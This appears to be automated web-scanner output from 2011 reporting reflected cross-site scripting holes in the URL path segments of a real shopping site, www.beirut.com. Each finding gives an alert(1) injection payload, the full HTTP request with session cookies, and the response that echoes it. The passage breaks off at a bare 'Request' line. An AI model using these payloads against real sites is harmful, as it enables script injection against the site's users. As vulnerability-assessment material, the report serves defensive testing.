<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping68187'-alert(1)-'78be639f950/Clothing-Accessories/194367784/Accessories-for-Him/47'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 969bf"><a>043e6c47744 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping969bf"><a>043e6c47744/Clothing-Accessories/194367784/Accessories-for-Him/47 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:35:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59780
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping969bf"><a>043e6c47744"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad78e'-alert(1)-'6ebc6ecb33b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriesad78e'-alert(1)-'6ebc6ecb33b/194367784/Accessories-for-Him/47 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:53:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60626
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessoriesad78e'-alert(1)-'6ebc6ecb33b/194367784/Accessories-for-Him/47'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3b417<script>alert(1)</script>9df11855083 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories3b417<script>alert(1)</script>9df11855083/194367784/Accessories-for-Him/47 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:53:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60601
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories3b417<script>alert(1)</script>9df11855083 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25b68'-alert(1)-'d2ba03cb1ea was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/19436778425b68'-alert(1)-'d2ba03cb1ea/Accessories-for-Him/47 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:59:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59955
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Clothing-Accessories/19436778425b68'-alert(1)-'d2ba03cb1ea/Accessories-for-Him/47'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a5bb'-alert(1)-'d67b41b1a55 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Accessories-for-Him7a5bb'-alert(1)-'d67b41b1a55/47 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:05:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60598
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Accessories-for-Him7a5bb'-alert(1)-'d67b41b1a55/47'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fe3ac'-alert(1)-'b944c3d762d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Accessories-for-Him/47fe3ac'-alert(1)-'b944c3d762d HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:09:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55308
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Accessories-for-Him/47fe3ac'-alert(1)-'b944c3d762d'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe301"><a>ba71952d450 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingfe301"><a>ba71952d450/Clothing-Accessories/194367784/Accessories/37 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:52:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60505
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingfe301"><a>ba71952d450"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0382'-alert(1)-'1a305dea957 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinga0382'-alert(1)-'1a305dea957/Clothing-Accessories/194367784/Accessories/37 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:04:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60077
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shoppinga0382'-alert(1)-'1a305dea957/Clothing-Accessories/194367784/Accessories/37'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 36f96<script>alert(1)</script>ba10e1b3b0d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories36f96<script>alert(1)</script>ba10e1b3b0d/194367784/Accessories/37 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:12:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62211
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories36f96<script>alert(1)</script>ba10e1b3b0d <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 68673'-alert(1)-'ff6b4b93937 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories68673'-alert(1)-'ff6b4b93937/194367784/Accessories/37 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:11:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62226
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories68673'-alert(1)-'ff6b4b93937/194367784/Accessories/37'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3235'-alert(1)-'e0a4dbc25ad was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784d3235'-alert(1)-'e0a4dbc25ad/Accessories/37 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:16:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61536
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784d3235'-alert(1)-'e0a4dbc25ad/Accessories/37'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0b86'-alert(1)-'e4ce2f33919 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Accessoriesc0b86'-alert(1)-'e4ce2f33919/37 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:22:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62561
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Accessoriesc0b86'-alert(1)-'e4ce2f33919/37'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5cea8'-alert(1)-'9184fa4d8d2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Accessories/375cea8'-alert(1)-'9184fa4d8d2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:28:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55300
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Accessories/375cea8'-alert(1)-'9184fa4d8d2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ab316'-alert(1)-'6f23b0306e4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingab316'-alert(1)-'6f23b0306e4/Clothing-Accessories/194367784/Bags/40 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:52:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60195
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shoppingab316'-alert(1)-'6f23b0306e4/Clothing-Accessories/194367784/Bags/40'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48186"><a>512069709a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
